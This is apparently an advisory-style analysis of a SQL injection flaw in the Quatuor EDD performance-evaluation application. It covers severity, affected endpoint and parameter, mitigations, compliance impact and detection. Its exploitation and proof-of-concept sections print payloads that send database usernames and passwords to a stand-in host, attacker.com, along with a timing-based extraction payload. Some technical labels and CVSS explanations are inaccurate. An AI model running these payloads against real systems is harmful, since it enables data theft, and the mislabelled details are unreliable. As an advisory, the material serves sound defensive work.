Comprehensive Technical Analysis of EUVD-2026-4783 (CVE-2026-1481)

Out-of-Band SQL Injection (OOB SQLi) in Quatuor Performance Evaluation (EDD) Application

1. Vulnerability Assessment and Severity Evaluation

Vulnerability Overview

EUVD-2026-4783 (CVE-2026-1481) describes an Out-of-Band SQL Injection (OOB SQLi) vulnerability in the Evaluación de Desempeño (EDD) application, developed by Gabinete Técnico de Programación (Quatuor). The flaw resides in the Id_usuario parameter of the /evaluacion_objetivos_anyo_sig_ver_auto.aspx endpoint, allowing attackers to exfiltrate sensitive database information via external network channels rather than direct application responses.

CVSS v4.0 Severity Analysis

The vulnerability has been assigned a Base Score of 9.3 (Critical) with the following vector:

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N

• Attack Vector (AV:N): Exploitable remotely over a network.
• Attack Complexity (AC:L): Low complexity; no specialized conditions required.
• Attack Requirements (AT:N): No user interaction or prior access needed.
• Privileges Required (PR:N): No authentication required (unauthenticated exploitation).
• User Interaction (UI:N): No user interaction required.
• Confidentiality Impact (VC:H): High impact; sensitive data can be extracted.
• Integrity Impact (VI:H): High impact; potential for data manipulation.
• Availability Impact (VA:L): Low impact; limited disruption to system availability.
• Subsequent Confidentiality (SC:N): No further confidentiality impact beyond initial exploitation.
• Subsequent Integrity (SI:N): No further integrity impact beyond initial exploitation.
• Subsequent Availability (SA:N): No further availability impact beyond initial exploitation.

Risk Assessment

• Exploitation Likelihood: High – OOB SQLi is a well-documented attack vector with publicly available tools (e.g., SQLmap with OOB techniques).
• Impact Severity: Critical – Successful exploitation could lead to full database compromise, including:
  • Extraction of PII (Personally Identifiable Information), employee performance records, and internal evaluations.
  • Potential lateral movement if database credentials or other sensitive data are exposed.
  • Regulatory compliance violations (GDPR, NIS2, etc.) due to unauthorized data access.

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2. Potential Attack Vectors and Exploitation Methods

Exploitation Mechanism

OOB SQLi differs from classic SQLi in that it does not rely on direct application responses for data exfiltration. Instead, it leverages external network interactions (DNS, HTTP, SMB, etc.) to transmit stolen data. Common techniques include:

A. DNS-Based Exfiltration

• Attacker injects a payload that forces the database to perform a DNS lookup to an attacker-controlled domain.
• Example payload (Microsoft SQL Server):

  DECLARE @p varchar(1024);
  SELECT @p = (SELECT TOP 1 username FROM users);
  EXEC('master..xp_dirtree "\\' + @p + '.attacker.com\share"');
  

• The database attempts to resolve the domain, leaking data in the DNS query subdomain.

B. HTTP-Based Exfiltration

• Forces the database to make an HTTP request to an attacker-controlled server.
• Example (MySQL):

  SELECT LOAD_FILE(CONCAT('\\\\', (SELECT password FROM users LIMIT 1), '.attacker.com\\share\\file.txt'));
  

• The database sends the data in the HTTP request path or headers.

C. SMB/UNC Path Exfiltration

• Triggers an SMB connection to an attacker-controlled server.
• Example (SQL Server):

  EXEC xp_fileexist '\\attacker.com\share\' + (SELECT TOP 1 password FROM users);
  

• The database attempts to authenticate, leaking data in the UNC path.

D. Time-Based OOB Techniques

• If network-based exfiltration is blocked, attackers may use time delays to infer data.
• Example:

  IF (SELECT SUBSTRING(password,1,1) FROM users WHERE id=1) = 'a' WAITFOR DELAY '0:0:5'
  

Exploitation Tools & Frameworks

• SQLmap (with --dns-domain, --technique=O, or --oob flags)
• Burp Suite (with custom payloads for OOB exfiltration)
• Custom Python/Go scripts leveraging DNS or HTTP callbacks

Attack Scenario

1. Reconnaissance: Attacker identifies the vulnerable endpoint (/evaluacion_objetivos_anyo_sig_ver_auto.aspx).
2. Payload Crafting: Injects an OOB SQLi payload into Id_usuario.
3. Data Exfiltration: Database executes the query and leaks data via DNS/HTTP/SMB.
4. Post-Exploitation: Attacker retrieves stolen data from their server logs.

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3. Affected Systems and Software Versions

Vulnerable Product

• Product Name: Evaluación de Desempeño (EDD)
• Vendor: Gabinete Técnico de Programación (Quatuor)
• Affected Versions: All versions (as per ENISA ID)
• Vulnerable Endpoint: /evaluacion_objetivos_anyo_sig_ver_auto.aspx
• Vulnerable Parameter: Id_usuario

Underlying Technologies (Likely)

• Backend Database: Microsoft SQL Server (most probable, given the .aspx extension and common use in Spanish public sector applications).
• Web Framework: ASP.NET (legacy or modern).
• Authentication: Likely integrated with Active Directory or a custom user store.

Deployment Context

• Primary Users: Public sector organizations, HR departments, and performance evaluation systems in Spain and other Spanish-speaking EU countries.
• Data Sensitivity: High (employee performance records, salary data, internal evaluations).

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4. Recommended Mitigation Strategies

Immediate Remediation (Short-Term)

1. Input Validation & Sanitization

   • Implement strict parameterized queries (prepared statements) for all SQL interactions.
   • Use whitelisting for the Id_usuario parameter (only allow numeric values).
   • Apply output encoding to prevent injection.

2. Web Application Firewall (WAF) Rules

   • Deploy OWASP ModSecurity Core Rule Set (CRS) with SQLi-specific rules.
   • Configure rate limiting to prevent brute-force OOB exfiltration attempts.

3. Network-Level Protections

   • Block outbound DNS/HTTP/SMB requests from the database server to untrusted domains.
   • Implement DNS sinkholing to log and block suspicious DNS queries.

4. Temporary Workarounds

   • Disable the vulnerable endpoint if not critical to operations.
   • Restrict access to the application via IP whitelisting.

Long-Term Fixes

1. Code-Level Patching

   • Rewrite vulnerable queries to use ORM (Entity Framework, Dapper) instead of raw SQL.
   • Implement stored procedures with strict input validation.
   • Upgrade to a modern framework (e.g., ASP.NET Core) with built-in protections.

2. Database Hardening

   • Disable unnecessary database features (e.g., xp_cmdshell, xp_dirtree, OPENROWSET).
   • Apply least-privilege principles (database user should not have sysadmin rights).
   • Enable SQL Server Audit Logging to detect OOB exfiltration attempts.

3. Security Testing & Monitoring

   • Conduct penetration testing (including OOB SQLi simulations).
   • Deploy SIEM solutions (e.g., Splunk, ELK) to detect anomalous outbound traffic.
   • Implement database activity monitoring (DAM) to log and alert on suspicious queries.

4. Vendor Coordination

   • Apply vendor-supplied patches (if available).
   • Monitor INCIBE and Quatuor advisories for updates.

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5. Impact on the European Cybersecurity Landscape

Regulatory & Compliance Risks

• GDPR (General Data Protection Regulation)
  • Unauthorized data exfiltration could lead to fines up to €20 million or 4% of global revenue.
  • Mandatory breach notification within 72 hours if PII is compromised.
• NIS2 Directive (Network and Information Security)
  • Public sector entities using EDD may be classified as essential or important entities, requiring enhanced security measures.
• Spanish National Security Framework (ENS)
  • Non-compliance could result in contractual penalties for government suppliers.

Sector-Specific Risks

• Public Administration: High risk due to sensitive employee data and performance evaluations.
• Healthcare & Education: If EDD is used in these sectors, patient/student data could be exposed.
• Critical Infrastructure: If integrated with other systems, could enable lateral movement into more sensitive networks.

Threat Actor Interest

• Cybercriminals: Likely to exploit for data theft, ransomware deployment, or extortion.
• State-Sponsored Actors: May target for espionage (e.g., gathering intelligence on government employees).
• Hacktivists: Could exploit for disruptive purposes (e.g., leaking performance records).

Broader Implications

• Supply Chain Risk: If Quatuor’s software is widely used in EU public sector, this vulnerability could have cascading effects.
• Trust Erosion: Public sector organizations may lose confidence in local vendors, leading to increased reliance on non-EU solutions.
• Incident Response Challenges: OOB SQLi is harder to detect than classic SQLi, complicating forensic investigations.

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6. Technical Details for Security Professionals

Exploitation Proof of Concept (PoC)

DNS-Based Exfiltration (SQL Server)

-- Extract the first username via DNS
DECLARE @p varchar(1024);
SELECT @p = (SELECT TOP 1 username FROM users);
EXEC('master..xp_dirtree "\\' + @p + '.attacker.com\share"');

• Expected Behavior: The database attempts to resolve username.attacker.com, leaking the data in DNS logs.

HTTP-Based Exfiltration (MySQL)

-- Extract password via HTTP
SELECT LOAD_FILE(CONCAT('http://attacker.com/?data=',
  (SELECT password FROM users LIMIT 1)));

• Expected Behavior: The database makes an HTTP request to attacker.com with the password in the URL.

Detection & Forensics

Indicators of Compromise (IoCs)

• DNS Logs:
  • Unusual subdomains (e.g., admin.attacker.com, password123.attacker.com).
  • High volume of DNS queries from the database server.
• Web Server Logs:
  • Suspicious Id_usuario values (e.g., ' OR 1=1--, ; EXEC xp_dirtree...).
• Database Logs:
  • Unusual xp_dirtree, xp_fileexist, or LOAD_FILE executions.
  • Failed login attempts with SQLi payloads.

Forensic Analysis Steps

1. Check Database Query Logs:
   • Look for unexpected stored procedure executions (xp_dirtree, xp_cmdshell).
2. Analyze Network Traffic:
   • Inspect outbound DNS/HTTP/SMB requests from the database server.
3. Review WAF/IDS Alerts:
   • Search for SQLi signatures (e.g., 1=1, UNION SELECT).
4. Memory Forensics:
   • Use Volatility or Rekall to check for injected SQL payloads in process memory.

Hardening Recommendations

Layer	Recommendation
Application	- Enforce parameterized queries (no raw SQL).
	- Implement input validation (regex for Id_usuario).
Database	- Disable xp_cmdshell, xp_dirtree, OPENROWSET.
	- Apply least privilege (no sysadmin for app users).
Network	- Block outbound DNS/HTTP/SMB from database servers.
	- Deploy DNS sinkholing for suspicious domains.
Monitoring	- Enable SQL Server Audit Logging.
	- Integrate with SIEM (e.g., Splunk, QRadar) for anomaly detection.

Vendor & Patch Management

• Monitor Quatuor’s security advisories for official patches.
• Test patches in a staging environment before production deployment.
• Consider alternative solutions if Quatuor does not provide timely fixes.

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Conclusion

EUVD-2026-4783 (CVE-2026-1481) represents a critical OOB SQLi vulnerability in a widely used European public sector application, posing significant risks to data confidentiality and regulatory compliance. Security teams must prioritize patching, input validation, and network-level protections to mitigate exploitation. Given the high likelihood of targeted attacks, organizations using EDD should conduct immediate security assessments and enhance monitoring for signs of compromise.

For further details, refer to:

• INCIBE Advisory
• CVE-2026-1481 Details
• OWASP SQL Injection Prevention Cheat Sheet